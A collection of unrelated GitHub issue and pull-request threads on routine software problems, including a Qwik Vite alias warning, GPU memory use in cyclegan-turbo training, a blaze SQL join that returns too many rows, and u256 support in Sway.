When I want to use vite.config.ts resolve.aliases, I get QWIK WARN Duplicate implementations of "JSXNode" found

Qwik Version
0.13.3
Operating System (or Browser)
Debian GNU/Linux 11 (bullseye)
Node Version (if applicable)
No response
Which component is affected?
Qwik Runtime
Expected Behaviour
I have to be able to use Vite resolve.aliases instead of tsconfig.json paths
Actual Behaviour
I get this error:
container | QWIK WARN Duplicate implementations of "JSXNode" found
container | QWIK ERROR Missing <head>. Global styles could not be rendered. Please render a <head> element at the root of the app Error: Missing <head>. Global styles could not be rendered. Please render a <head> element at the root of the app
container |     at logError (/Projects/SiteQwik/node_modules/@builder.io/qwik/core.cjs:73:58)
container |     at renderRoot (/Projects/SiteQwik/node_modules/@builder.io/qwik/core.cjs:6850:17)
container |     at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
container |     at async renderSSR (/Projects/SiteQwik/node_modules/@builder.io/qwik/core.cjs:6838:9)
container |     at async Proxy.renderToStream (/Base/Qwik/node_modules/@builder.io/qwik/server.cjs:663:3)
container |     at async /Base/Qwik/node_modules/@builder.io/qwik/optimizer.cjs:1768:28

Additional Information
I changed the vite.config.js from:
import { defineConfig, loadEnv } from 'vite'
import { qwikVite } from<EMAIL_ADDRESS>import { qwikCity } from<EMAIL_ADDRESS>import tsconfigPaths from 'vite-tsconfig-paths'

export default defineConfig(() => {
  return {
    plugins: [qwikCity(), qwikVite(), tsconfigPaths()],
    preview: {
      headers: {
        'Cache-Control': 'public, max-age=600',
      },
    },
    server: {
      host: '<IP_ADDRESS>',
      hmr: {
        clientPort: 443
      }
    }
  };
});

to:
import { defineConfig, loadEnv } from 'vite'
import { qwikVite } from<EMAIL_ADDRESS>import { qwikCity } from<EMAIL_ADDRESS>import tsconfigPaths from 'vite-tsconfig-paths'
const path = require(`path`)
const fs = require('fs')

const aliases = {
  'Base': 'src/Base/Exports',
  'Forms': 'src/Modules/Forms/Exports',
}

const resolvedAliases = Object.fromEntries(
  Object.entries(aliases).map(([key, value]) => [key, path.resolve(__dirname, value)]),
)

export default defineConfig(() => {
  return {
    resolve: {
      alias: resolvedAliases,
      preserveSymlinks: true
    },
    plugins: [qwikCity(), qwikVite(), tsconfigPaths()],
    preview: {
      headers: {
        'Cache-Control': 'public, max-age=600',
      },
    },
    server: {
      host: '<IP_ADDRESS>',
      hmr: {
        clientPort: 443
      }
    }
  };
});

The previous config file was working just fine. After this change, it broke and gave me the error message above.

happened to me, out of the box after creating a new project with pnpm create qwik@latest, started the dev server using pnpm dev.
Browser renders a blank screen with no errors in browser console, but with QWIK WARN Duplicate implementations of "JSXNode" found error in the terminal.


CUDA out of memory on unpaired cyclegan-turbo training

How much GPU memory is required to train cyclegan-turbo?
When i tried to train with a single RTX4090 (24GB),  it failed with CUDA OUT OF MEMORY.
Can I change any parameters to relieve the requirement of gpu memory ?

You can try the mixed precision training, check my update here (https://github.com/King-HAW/img2img-turbo), it works on 24GB GPU with setting batchsize to 1.

You can try the mixed precision training, check my update here (https://github.com/King-HAW/img2img-turbo), it works on 24GB GPU with setting batchsize to 1.

Thanks for your reply! I will try it.

You can try the mixed precision training, check my update here (https://github.com/King-HAW/img2img-turbo), it works on 24GB GPU with setting batchsize to 1.

how do you set the "accelerate config"?

You can try the mixed precision training, check my update here (https://github.com/King-HAW/img2img-turbo), it works on 24GB GPU with setting batchsize to 1.

Hello, thank you for your great work. If I want to implement multi-GPU inference, which parts should I modify?


show series

https://influxdb.com/docs/v0.9/query_language/schema_exploration.html#explore-series-with-show-series
client.Schema.GetSeries

Forgot to close via b9b5d7c4f42a4eda16629e7c6ac4a606855d2038


Fix broken links to Beaker docs in README

Noticed a couple broken links while reading the README. This fixes those links.

Can one of the admins verify this patch?

@Ajedi32 since these are docs changes, they don't need the automated testing.
Also, since these docs are mainly used from github rather than from local gem installs, I'm not planning on cutting a new gem version for this change. It'll go out in the next gem that gets cut for whatever functionality change comes next.
Thanks!


Auto-completion

Hello,
I just wanted to know if there were a way to get an auto-completion system (for API methods etc.), as the one you can get on the online editor, when you develop on your local IDE or text editor.
Thank you.

There is currently no public API that exposes that metadata. However, the Apps Script team has that feature on our backlog.

Yeah unfortunately this is a limitation of the Google Drive API right now. If it ever gets implemented, I'll happily add it to gapps.

Ok, thank you for your answers. Another idea would be to implement a provider for Atom using the autocomplete-plus API. So this would be restricted to Atom, and would have to be done from scratch. I think i'll have a look at it.

That would be great @medric! I'm excited to see what you come up with :smile:


refactor: migrate region failover implementation to region migration

I hereby agree to the terms of the GreptimeDB CLA.
Refer to a related PR or issue link (optional)
#4161
What's changed and what's your intention?
Migrate region failover implementation to region migration
Checklist

[ ] I have written the necessary rustdoc comments.
[ ] I have added the necessary unit tests and integration tests.
[ ] This PR requires documentation updates.

Summary by CodeRabbit

New Features

Introduced a new system for managing region supervisors, including handling datanode heartbeats, region failure detection, and region failover coordination.
Added methods to the WalOptionsAllocator to identify remote WALs.

Bug Fixes

Updated error handling logic across various handlers for improved message formatting.

Refactor

Significant internal restructuring, including the removal of deprecated modules and consolidation of imports for better clarity and efficiency.
Added new error variants and refined error management.
Enhanced region failure detection and management logic.

Documentation

Added and updated comments for better code clarity.

Tests

Updated test cases to reflect new changes and ensure robustness.

@coderabbitai The sequence diagrams is incorrect, please re-generate it.


Not able to connect to postgres although the database is running

waghsac@WAGHSAC:~/fides$ make cli
docker build --target=dev --tag ethyca/fidesctl:local .
[+] Building 6.5s (21/21) FINISHED
=> [internal] load build definition from Dockerfile                                                                                0.0s
=> => transferring dockerfile: 38B                                                                                0.0s
=> [internal] load .dockerignore                                                                                0.0s
=> => transferring context: 35B                                                                                0.0s
=> [internal] load metadata for docker.io/library/python:3.8-slim-buster                                                                                6.1s
=> [internal] load build context                                                                                0.1s
=> => transferring context: 47.60kB                                                                                0.1s
=> [base 1/2] FROM docker.io/library/python:3.8-slim-buster@sha256:8b65f13c26b411a8dd331e60ab12e36058aef2a4586eaf0da6b6cc5522f9852d                                   0.0s
=> CACHED [base 2/2] RUN pip install -U pip                                                                                0.0s
=> CACHED [builder  1/13] RUN :     && apt-get update     && apt-get install     -y --no-install-recommends     curl     git     ipython     make     vim     g++     0.0s
=> CACHED [builder  2/13] RUN :     && apt-get update     && apt-get install     -y --no-install-recommends     libpq-dev     && apt-get clean     && rm -rf /var/li  0.0s
=> CACHED [builder  3/13] RUN curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -                                                                  0.0s
=> CACHED [builder  4/13] RUN curl https://packages.microsoft.com/config/debian/10/prod.list | tee /etc/apt/sources.list.d/msprod.list                                0.0s
=> CACHED [builder  5/13] RUN :     && apt-get update     && apt-get install     -y --no-install-recommends     apt-transport-https     unixodbc-dev     mssql-tools  0.0s
=> CACHED [builder  6/13] COPY dev-requirements.txt dev-requirements.txt                                                                                0.0s
=> CACHED [builder  7/13] RUN pip install -r dev-requirements.txt                                                                                0.0s
=> CACHED [builder  8/13] COPY requirements.txt requirements.txt                                                                                0.0s
=> CACHED [builder  9/13] RUN pip install -r requirements.txt                                                                                0.0s
=> CACHED [builder 10/13] COPY optional-requirements.txt optional-requirements.txt                                                                                0.0s
=> CACHED [builder 11/13] RUN pip install -r optional-requirements.txt                                                                                0.0s
=> CACHED [builder 12/13] COPY . /fides                                                                                0.0s
=> CACHED [builder 13/13] WORKDIR /fides                                                                                0.0s
=> CACHED [dev 1/1] RUN pip install -e ".[all,mssql]"                                                                                0.0s
=> exporting to image                                                                                0.1s
=> => exporting layers                                                                                0.0s
=> => writing image sha256:895047de728489e5fd17c7af4d1169420b1ca32ef8b5ed79ddd30cbf477acd6f                                                                           0.0s
=> => naming to docker.io/ethyca/fidesctl:local                                                                                0.0s
Use 'docker scan' to run Snyk tests against images to find vulnerabilities and learn how to fix them
Setting up a local development shell... (press CTRL-D to exit)
[+] Running 2/2
⠿ Container fides-fidesctl-db-1  Healthy                                                                                0.6s
⠿ Container fides-fidesctl-1     Running                                                                                0.0s
[+] Running 1/0
⠿ Container fides-fidesctl-db-1  Running                                                                                0.0s
[+] Running 1/1
⠿ Container fides-fidesctl-db-1  Healthy                                                                                0.5s
root@6ac3d41758b3:/fides# fidesctl generate dataset db postgresql://postgres:postgres@localhost:5432/adventureworks adw_scan/sample.yml
Server is reachable and the client/server application versions match.
Database connection failed with engine:
Engine(postgresql://postgres:***@localhost:5432/adventureworks)!
(psycopg2.OperationalError) could not connect to server: Connection refused
Is the server running on host "localhost" (<IP_ADDRESS>) and accepting
TCP/IP connections on port 5432?
could not connect to server: Cannot assign requested address
Is the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 5432?
(Background on this error at: http://sqlalche.me/e/14/e3q8)

Can see that the database is running and have also played around with the .conf files but still does not work
waghsac@WAGHSAC:~/fides$ sudo service postgresql status
14/main (port 5432): online


Caching of routes opened

Route results of #open should be cached. Calls to #map or #proxy should invalidate the cache.

What is purpose?

Just a thought so we don't have to iterate through all the routes in subsequent calls. However, thinking more about it may not be worth it as an application will typically have a small amount of routes so the time to iterate through all them may be negligible.

Yeah even 100+ routes should not affect performance.

agreed, i'm closing this.


[HELP] Render text with emojis

Hello, i'm trying to draw text with emojis to an image:
text =  "Hello 😄"
image = Image.open(rimg_path)
img = image.convert('RGB')
d = ImageDraw.Draw(img)
box = (565, 100, 1150, 450)
d.rectangle(box, outline="#fff")
font = ImageFont.truetype(THIS_FOLDER+"/fonts/arial.ttf", size=25)
[...]
Pilmoji(img).text((x_author,y_author), text , "#fff", font)

but i'm getting this error:
myfunction(text, author, tag)
  File "c:\Users\user\Desktop\myfile\myfile.py", line 69, in myfunction
    Pilmoji(img).text((x_author,y_author), text , "#fff", font)
  File "C:\Users\user\AppData\Local\Programs\Python\Python310\lib\site-packages\pilmoji\core.py", line 315, in text
    self.image.paste(asset, (x + ox, y + oy), asset)
  File "C:\Users\user\AppData\Local\Programs\Python\Python310\lib\site-packages\PIL\Image.py", line 1628, in paste
    self.im.paste(im, box, mask.im)
TypeError: 'float' object cannot be interpreted as an integer

Well the problem was that i cant use float numbers as (x,y). With Pillow i can use float numbers.
Now it works (really really slow sometime it takes up to 12 seconds), but:

i cant use align=center (it doesnt work with pilmoji)
the default line-height property is almost the double of Pillow Is there any way to adjust it?

i cant use align=center (it doesnt work with pilmoji)
Alignment support is planned for 3.0

the default line-height property is almost the double of Pillow Is there any way to adjust it?
Pass in the line_height argument/kwarg with the specified line height. Since it defaults to 4, half of that would be 2.

sorry, the argument was named spacing and not line_height


Expose nemo_skills/evaluation/fill_majority_answer.py as a pipeline script

Currently it's not easy to run it through docker or on cluster. Let's create a new endpoint for it in the pipeline folder.

Can be done through run_cmd https://github.com/NVIDIA/NeMo-Skills/pull/251


🐞 [BUG] - In the mentor section button is not properly visible

Description
In the mentor section, the last card button was not visible properly.
Current behaviour
You can see here

Expected behaviour

Reproduction steps
Scroll to bottom then you can see the issue.

Screenshots

Logs
No response
Browsers
No response
OS
No response
Are you contributing for a program ?
GSSoC2023
Code of Conduct

[X] I have read and agree to the Contributing Guidelines of this project.

actually we have ongoing issue : https://github.com/anmode/grabtern-frontend/issues/364 We will fix it there.

actually we have ongoing issue : #364 We will fix it there.

Hey, so can I start the work for your mentioned issue? I am really interested to work on it.

you ask from the assigned one! if he agrees..but i advice you to look out other improvments
Hint: Mobile mode needs many improvments

Assigned to you @SubhamB2003

Hey, can I start work on it or move to another issue?


Fail in runing votu task

Hi,
I am trying to run votu and something is wrong.
Here is the commend I used:
phabox2 --task votu --dbdir /data2/lishang/phabox_db_v2/ \

    --outpth  $Prjdir/Phabox2 \
    --contigs $Prjdir/all_virus.fna \
    --threads 112 --proteins $Prjdir/all_virus.faa --len 1

PhaBOX2 is running with: 112 threads!
Running program: vOTU groupping
filtering the length of contigs...
[1/5] calling genes with prodigal...
Command 'makeblastdb -in /data2/lishang/Results/Phabox2/filtered_contigs.fa -dbtype nucl -parse_seqids -ou                                             t /data2/lishang/Results/Phabox2/midfolder//selfdb > /dev/null 2>&1' failed with exit code 1
Can you please help me?
Thanks!

I have fixed this issue.
For anyone who met the same problem, you may go to the "miniforge3/envs/phabox2/lib/python3.10/site-packages/phabox2/votu.py" file
and delete '-parse_seqids' from the command "makeblastdb -in {rootpth}/filtered_contigs.fa -dbtype nucl -parse_seqids -out {rootpth}/{midfolder}/selfdb > /dev/null 2>&1"
then it will run perfectly.

I see. But if it is not an issue caused by the version conflict, using the -parse_seqids option can sometimes lead to errors due to:

Incorrect Format: The sequence IDs in the input file may not conform to the BLAST required format. Ensure they are unique and follow the FASTA format standards.
Duplicate IDs: If sequence IDs aren't unique within the input file, this can cause errors. Make sure each sequence has a unique ID.
Special Characters: Sequence IDs containing unsupported special characters can cause parsing errors. Stick to letters, numbers, underscores, or hyphens.

To avoid these issues, I suggest verifying the format and uniqueness of sequence IDs in your input file rather than revising the codes.
Best,
Jiayu


Combining join and indexing generates far too many records

I join two tables. Before taking the join I select only two columns from one of the tables. Instead of getting 2433 records (entry 10) I get 19524825 (entry 11).

In [1]: from blaze import Data, join

In [2]: d = Data("sqlite:///sonair.sqlite3")

In [3]: d.event.head()
Out[3]:
          name operation  datetime_nearest_receiver aircraft  temperature_2m  \
0  24_002_A320       S16 2014-05-15 07:46:15.100000     A320             7.3
1  24_005_A321       S16 2014-05-15 08:08:23.200000     A321             7.5
2  24_006_A321       S16 2014-05-15 08:11:50.250000     A321             7.5
3  24_007_A333       S16 2014-05-15 08:15:52.850000     A333             8.0
4  24_008_F100       S16 2014-05-15 08:21:51.650000     F100             8.0
5  24_011_B762       S16 2014-05-15 08:55:40.500000     B762             9.0
6  24_012_A320       S16 2014-05-15 09:22:46.050000     A320             9.5
7  24_016_A320       S16 2014-05-15 10:27:42.100000     A320            10.0
8  24_017_B764       S16 2014-05-15 10:35:20.050000     B764            10.1
9  24_020_A333       S16 2014-05-15 11:03:01.650000     A333             9.8

   temperature_5cm  humidity  windspeed  pressure  include
0              8.5      91.7        1.6     978.9        1
1              9.4      84.8        1.2     978.9        1
2              9.4      84.8        2.3     978.9        1
3             11.1      84.7        2.3     979.0        1
4             11.1      84.7        1.8     979.0        1
5             14.9      77.6        2.2     978.7        1
6             14.1      73.5        8.3     978.7        1
7             16.8      72.9        2.4     978.5        1
8             13.6      75.9        2.8     978.5        1
9             11.3      68.4        1.8     978.4        1

In [4]: d.event.count()
Out[4]: 2675

In [5]: d.operation.head()
Out[5]:
  name  runway takeoff datetime_nearest_close
0  S28      28    True                      A
1  S16      16    True                      Q
2  L14      14   False                      I

In [6]: d.operation.count()
Out[6]: 3

In [7]: d.event[d.event.include==True]
Out[7]:
           name operation  datetime_nearest_receiver aircraft  temperature_2m  \
0   24_002_A320       S16 2014-05-15 07:46:15.100000     A320             7.3
1   24_005_A321       S16 2014-05-15 08:08:23.200000     A321             7.5
2   24_006_A321       S16 2014-05-15 08:11:50.250000     A321             7.5
3   24_007_A333       S16 2014-05-15 08:15:52.850000     A333             8.0
4   24_008_F100       S16 2014-05-15 08:21:51.650000     F100             8.0
5   24_011_B762       S16 2014-05-15 08:55:40.500000     B762             9.0
6   24_012_A320       S16 2014-05-15 09:22:46.050000     A320             9.5
7   24_016_A320       S16 2014-05-15 10:27:42.100000     A320            10.0
8   24_017_B764       S16 2014-05-15 10:35:20.050000     B764            10.1
9   24_020_A333       S16 2014-05-15 11:03:01.650000     A333             9.8
10  24_023_A333       S16 2014-05-15 11:21:32.650000     A333             9.7

    temperature_5cm  humidity  windspeed  pressure  include
0               8.5      91.7        1.6     978.9        1
1               9.4      84.8        1.2     978.9        1
2               9.4      84.8        2.3     978.9        1
3              11.1      84.7        2.3     979.0        1
4              11.1      84.7        1.8     979.0        1
5              14.9      77.6        2.2     978.7        1
6              14.1      73.5        8.3     978.7        1
7              16.8      72.9        2.4     978.5        1
8              13.6      75.9        2.8     978.5        1
9              11.3      68.4        1.8     978.4        1
...

In [8]: d.event[d.event.include==True].count()
Out[8]: 2433

In [9]: join( d.event, d.operation, 'operation', 'name').count()
Out[9]: 2675

In [10]: join( d.event[d.event.include==True], d.operation, 'operation', 'name').count()
Out[10]: 2433

In [11]: join( d.event[d.event.include==True], d.operation[['name', 'datetime_nearest_close']], 'operation', 'name').count()
Out[11]: 19524825

In [12]: join( d.event, d.operation[['name', 'datetime_nearest_close']], 'operation', 'name').count()
Out[12]: 2675

In [13]: join( d.operation[['name', 'datetime_nearest_close']], d.event[d.event.include==True], 'name', 'operation').count()
/home/rifr/anaconda3/envs/sonair/lib/python3.4/site-packages/sqlalchemy/sql/base.py:508: SAWarning: Column 'name' on table <sqlalchemy.sql.selectable.Select at 0x7ff5d3104898; Select object> being replaced by Column('name', TEXT(), table=<Select object>), which has the same key.  Consider use_labels for select() statements.
  self[column.key] = column
/home/rifr/anaconda3/envs/sonair/lib/python3.4/site-packages/sqlalchemy/sql/base.py:508: SAWarning: Column 'name' on table <sqlalchemy.sql.selectable.Alias at 0x7ff5d3104630; alias_6> being replaced by Column('name', TEXT(), table=<alias_6>), which has the same key.  Consider use_labels for select() statements.
  self[column.key] = column
/home/rifr/anaconda3/envs/sonair/lib/python3.4/site-packages/sqlalchemy/sql/base.py:508: SAWarning: Column 'name' on table <sqlalchemy.sql.selectable.Alias at 0x7ff5d311b080; alias_6> being replaced by Column('name', TEXT(), table=<alias_6>), which has the same key.  Consider use_labels for select() statements.
  self[column.key] = column

Out[13]: 19524825

@FRidh, Can you provide a link to this dataset, or a small subset of it? I'd like to debug this and see what's going on. Thanks!

Hrm, that is strange.  I'll echo @cpcloud 's request for the dataset (are the RDatasets all available in sqlite form somewhre?)
I'd also be interested in seeing the generated SQL for line 11.
>>> from blaze import compute
>>> print compute(join( d.event[d.event.include==True], d.operation[['name', 'datetime_nearest_close']], 'operation', 'name').count())

Here is the generated SQL

In [1]: from blaze import *

In [2]: d = Data('sqlite:///sonair.sqlite3')

In [3]: print( compute(join( d.event[d.event.include==True], d.operation[['name', 'datetime_nearest_close']], 'operation', 'name').count()) )
SELECT count(alias_1.operation) AS __count
FROM (SELECT event.operation AS operation, event.name AS name, event.datetime_nearest_receiver AS datetime_nearest_receiver, event.aircraft AS aircraft, event.temperature_2m AS temperature_2m, event.temperature_5cm AS temperature_5cm, event.humidity AS humidity, event.windspeed AS windspeed, event.pressure AS pressure, event.include AS include, operation.datetime_nearest_close AS datetime_nearest_close
FROM event, operation, (SELECT event.name AS name, event.operation AS operation, event.datetime_nearest_receiver AS datetime_nearest_receiver, event.aircraft AS aircraft, event.temperature_2m AS temperature_2m, event.temperature_5cm AS temperature_5cm, event.humidity AS humidity, event.windspeed AS windspeed, event.pressure AS pressure, event.include AS include
FROM event
WHERE event.include = 1) JOIN (SELECT operation.name, operation.datetime_nearest_close
FROM operation) ON event.operation = operation.name) AS alias_1

The dataset is not publicly available. I could create a file containing a small subset. What is the recommended way to select a certain amount of rows? Should I go the sqlite -> DataFrame.loc -> sqlite route for this?

I'm using the following versions:
blaze                     0.7.2                np19py34_0
blaze-core                0.7.2                np19py34_0
into                      0.2.2                np19py34_0

Here the link to a subset. It shows the same behaviour.
In [10]: d = Data('sqlite:///subset.sqlite3')

In [11]: join( d.event[d.event.include==True], d.operation[['name', 'datetime_nearest_close']], 'operation', 'name').count()
Out[11]: 210

Thanks for the subset.  Looking at the SQL below gives a clue as to what's going wrong
Good version

SELECT count(alias_8.operation) AS __count
FROM (SELECT event.operation AS operation, event.name AS name,
             event.datetime_nearest_receiver AS datetime_nearest_receiver,
             event.aircraft AS aircraft,
             event.temperature_2m AS temperature_2m,
             event.temperature_5cm AS temperature_5cm,
             event.humidity AS humidity,
             event.windspeed AS windspeed,
             event.pressure AS pressure,
             event.include AS include,
             operation.runway AS runway,
             operation.takeoff AS takeoff,
             operation.datetime_nearest_close AS datetime_nearest_close
       FROM event JOIN operation ON event.operation = operation.name
       WHERE event.include = 1) AS alias_8

Bad version

SELECT count(alias_9.operation) AS __count
FROM (SELECT event.operation AS operation,
             event.name AS name,
             event.datetime_nearest_receiver AS datetime_nearest_receiver,
             event.aircraft AS aircraft,
             event.temperature_2m AS temperature_2m,
             event.temperature_5cm AS temperature_5cm,
             event.humidity AS humidity,
             event.windspeed AS windspeed,
             event.pressure AS pressure,
             event.include AS include,
             operation.datetime_nearest_close AS datetime_nearest_close
      FROM event, operation, (SELECT event.name AS name,
                                     event.operation AS operation,
                                     event.datetime_nearest_receiver AS datetime_nearest_receiver,                                           event.aircraft AS aircraft,
                                     event.temperature_2m AS temperature_2m,
                                     event.temperature_5cm AS temperature_5cm,
                                     event.humidity AS humidity,
                                     event.windspeed AS windspeed,
                                     event.pressure AS pressure,
                                     event.include AS include
                                 FROM event
                                 WHERE event.include = 1) JOIN (SELECT operation.name,
                                                                       operation.datetime_nearest_close
                                                                 FROM operation)
                                                            ON event.operation = operation.name)
                                                            AS alias_9

It's joining on the event table twice, hence the blowup.  I'll try to track this down today.

This is somewhat solved in #979 I might play around with the solution a bit more though to see if I can clean it up.

@FRidh I believe that this is fixed in #979.
Depending on your technology of choice you can update with the following:
conda install -c blaze blaze
pip install --upgrade git+https://github.com/ContinuumIO/blaze
git pull

Please do let me know if this doesn't resolve your issue and thank you again for reporting the bug.


Get syntax error information from refmt

Merlin doesn't provide very good Reason syntax error information; in particular the location of the error is often way off. The positional information from refmt is way better, so I think it would make sense to implement a linter which sends the code to refmt upon change, and displays any errors. You can see how sublime-reason uses refmt as a linter here: https://github.com/chenglou/sublime-reason/blob/master/Reason.py#L77-L95
If what I'm saying sounds good, I'm happy to have a go at implementing it. I've already put up a similar PR for atom-reason-refmt
Example of unhelpful syntax error info (the error is on line 6 but the Invalid token error points to line 8):

This sounds interesting.
I would be willing to use this approach if it really does improve the reported errors. However, it would need to be implemented in such a way that it does not interfere with using the standard merlin output for plain OCaml. I don't think there is any technical problem with that but it might mean integrating it into this extension more work than it would seem at first glance.
If you want to give it a try, the place where you would probably want to start with the integration would be the Analyzer class in the ocaml-language-server project, specifically the refreshWithKind method here. You can see how I handle some other parts of the server differently for OCaml and Reason by looking at the formatter support, starting here.

Would like to see this fixed too, since as an Ocaml/ReasonML beginner, I still experience a lot of friction fighting with syntax errors. I can try to help implementing the suggested solution but not sure it's suited for a beginner...
@jsdf is there anything I can do to help you fix this ?


H6159 not changing color

What issue do you have? Please be as thorough and explicit as possible.
I have an H6159 led strip, thru HomeKit I’m able to turn it on and off but not able to change colors or control brightness, I can do it using the Govee app but not with HomeKit
Details of your setup.

Do you use (1) Homebridge UI-X (2) Homebridge CLI or (3) HOOBS?
homebridge hi-x

Which version of Homebridge/HOOBS do you have?
1.7.0

Which platform do you run Homebridge/HOOBS on (e.g. Raspberry Pi/Windows/HOOBS Box)? Please also mention your version of Node.js/NPM if known.
Raspberry pi

Which version of this plugin (homebridge-govee) do you have? Has the issue started since upgrading from a previous version?
Latest

Which Govee devices do you have that are causing issues? Please include product models if applicable.
H6159

Please paste any relevant logs below.

this is solved by changing the AWS Colour Mode, had to change it and save it to different settings but the default colorwc worked after changing the setting


ChainerX + ChainerMN integraiton on MNIST

This PR implements ChainerMN on ChainerX integration.
With this PR, the MNIST example works on ChainerX.
Note that you need to set the following environmental variables when you install Chainer fro m source to activate ChainerX.
export CHAINERX_BUILD_CUDA=1
export CHAINERX_ENABLE_BLAS=1
export CHAINER_BUILD_CHAINERX=1

export MAKEFLAGS=-j16

is also helpful.

pfnci, test this please

Jenkins CI test (for commit 55e144e35db9bed6747cf6cdf15c88c34e6b7a0f, target branch master) failed with status FAILURE.

pfnci, test this please.

Jenkins CI test (for commit c31291942b354141b099d439c05ce45d0dd7bdaf, target branch master) succeeded!

LGTM. Unit tests will be added later #8031
pfnci, test this please.

Jenkins CI test (for commit 77d9677805adb672fc5d74a457fc9086816c97c9, target branch master) failed with status FAILURE.

I am getting the following error in the test
Traceback (most recent call last):
  File "train_mnist.py", line 136, in <module>
    main()
  File "train_mnist.py", line 60, in main
    device = chainer.get_device('cuda:{}'.format(comm.intra_rank))
  File "tianqi/repository/chainer/chainer/backend.py", line 176, in get_device
    'specifiers.'.format(device_spec))
RuntimeError: Tried to parse ChainerX device specifier 'cuda:1', but ChainerX is not available. Note that device specifiers without '@' prefix are assumed to be ChainerX device specifiers.
Traceback (most recent call last):
  File "train_mnist.py", line 136, in <module>
    main()
  File "train_mnist.py", line 60, in main
    device = chainer.get_device('cuda:{}'.format(comm.intra_rank))
  File "tianqi/repository/chainer/chainer/backend.py", line 176, in get_device
    'specifiers.'.format(device_spec))
RuntimeError: Tried to parse ChainerX device specifier 'cuda:0', but ChainerX is not available. Note that device specifiers without '@' prefix are assumed to be ChainerX device specifiers.

This PR only covers the mnist, we will list up the rest of examples in a TODO

jenkins, test this please

Jenkins CI test (for commit 77d9677805adb672fc5d74a457fc9086816c97c9, target branch master) failed with status FAILURE.

jenkins, test this please

Jenkins CI test (for commit 77d9677805adb672fc5d74a457fc9086816c97c9, target branch master) succeeded!

Jenkins CI test (for commit 77d9677805adb672fc5d74a457fc9086816c97c9, target branch master) failed with status FAILURE.


Y Axis max height

Hi, Thanks for your work on this great library!
is it possible to define the max height according to the max value of a custom made y axis on a ColumnChart? Right now, the chart max height seems to be determined by the biggest column.
For example, I have an y axis made of 3 values : 0, 100, 200. My biggest column has a value of 180. I want that the y axis shows up entirely, not truncated to 180.
Regards

Hi, yes, you can manually set chart min and max Y value:
//set chart data to initialize viewport, otherwise it will be[0,0;0,0]
//get initialized viewport and change ranges according to your needs.
final Viewport v = new Viewport(chart.getMaximumViewport());
v.bottom = 0;
v.top = 220;//a little more than 200 to keep labels visible
chart.setMaximumViewport(v);
chart.setCurrentViewport(v);
//Optional step: disable viewport recalculations, thanks to this animations will not change viewport automatically.
chart.setViewportCalculationEnabled(false);

@lecho , thanks for this, I will also like to know if i can set the range on the Y-axis


fix find chrome function for linux and python2

Solves #36 without the need of further dependencies
Alternative to #34

@marcorosa Thanks for the pull request, sorry for inactivity, I've been on holiday for a few weeks.
I went with the whichcraft version, I don't mind adding dependencies and I think the final code is slightly cleaner.


"Configuration warning at 'provider.runtime'" - Any way to suppress this or add "dart" to the recognized runtimes?

The full output looks like this,
personal/localnews_rss_lambda/hello via ⬢ v14.2.0
➜ sls invoke -f hello -vvv
Serverless: Configuration warning at 'provider.runtime': should be equal to one of the allowed values [dotnetcore2.1, dotnetcore3.1, go1.x, java11, java8, java8.al2, nodejs10.x, nodejs12.x, provided, provided.al2, python2.7, python3.6, python3.7, python3.8, ruby2.5, ruby2.7]
Serverless:
Serverless: Learn more about configuration validation here: http://slss.io/configuration-validation
Serverless:
{
    "body": "{\"message\":\"hello ba44783f-4d59-4445-a817-4764466f93e9\"}",
    "isBase64Encoded": false,
    "statusCode": 200,
    "headers": {
        "Content-Type": "application/json"
    }
}

It's showing up as a warning in Vscode as well.

There is a way to do it, but this requires a bit more work.


Fixing more typos in demos/webforms.html

Fixing more typos in demos/webforms.html

awsome, thanks!


feat(auth): consider admin permissions in signup and user apis

add relevant permissions to admin_permissions table on signup
include hasMentors, isOrgManager and isCentreManager fields in user api response

closes https://github.com/MentorsWithoutBorders/mwb-partners-admin/issues/10
closes https://github.com/MentorsWithoutBorders/mwb-partners-admin/issues/11

Update: added fix for https://github.com/MentorsWithoutBorders/mwb-partners-admin/issues/11#issuecomment-1636110019
cc: @edmondpr


u256 implementation

Description
This PR implements complete support for u256 through the stack:

Literals can be suffixed with u256.
Binary operations are converted to its specialized 256 fuel opcodes. Currently, no optimizations are done and all operands are indirect. Apart from shifts where the shift itself is not indirect.
This makes the struct U256 (capital U) obsolete, but it does not remove it yet.

u256 works as any other copy-able value. So passing by value is memcpy-ing all 32 bytes.
A particular complication is that all wide operations (WQOP, WQML, WQDIV etc...) have their write register as indirect. Which means that I have to allocate stack space for their result.
Single-Step Debugging
This PR also implements an option to run e2e tests using single-step debugging. It is a handy tool to understand what is happening. It prints the current instruction, the before and after of which affect register, and on an ad-hoc manner also the affected memory.
The worst part is that there is no way to set single-stepping. I had to use a transmute. This part is totally optional and I can remove this.
// Horrible, but there is not mut access to the debugger, which means there
// is no way to turn single stepping on.
let dbg: &mut Debugger = unsafe { std::mem::transmute(i.debugger()) };
dbg.set_single_stepping(true);

Given that this is completely apart. My suggestion is actually to detach this to a different PR.
Todo

[x] u256 constants (https://github.com/FuelLabs/sway/pull/4887)
[x] u256 add, sub and mod operators

https://github.com/FuelLabs/sway/pull/4896
https://github.com/FuelLabs/sway/pull/4904

[x] u256 mul and div

https://github.com/FuelLabs/sway/pull/4904

[x] u256 cmp operators

https://github.com/FuelLabs/sway/pull/4904

[ ] Not, bitwise and shifts operators

https://github.com/FuelLabs/sway/pull/4924

[ ] Better errors (overflow, underflow, div by zero)
[ ] u256 on configurables and contracts
[ ] documentation
[ ] migrate U256 (capital U) and literals fall backing to b256

Checklist

[ ] I have linked to any relevant issues.
[ ] I have commented my code, particularly in hard-to-understand areas.
[ ] I have updated the documentation where relevant (API docs, the reference, and the Sway book).
[ ] I have added tests that prove my fix is effective or that my feature works.
[ ] I have added (or requested a maintainer to add) the necessary Breaking* or New Feature labels where relevant.
[ ] I have done my best to ensure that my PR adheres to the Fuel Labs Code Review Standards.
[ ] I have requested a review from the relevant team or maintainers.

Unless I'm missing something, the Todo needs to include const expressions evaluation. We want that for u256, right?


Revert "feature backup and restore privileges catalogs workloadgroup (#44905)"

This reverts commit 8e5738610abbc60654f5ef32f229c117bca34251.
Because lock in PasswordPolicy is written to disk, when user upgrade from older version, this lock will null, and cause user couldn't connect to Doris.

Thank you for your contribution to Apache Doris.
Don't know what should be done next? See How to process your PR.
Please clearly describe your PR:

What problem was fixed (it's best to include specific error reporting information). How it was fixed.
Which behaviors were modified. What was the previous behavior, what is it now, why was it modified, and what possible impacts might there be.
What features were added. Why was this function added?
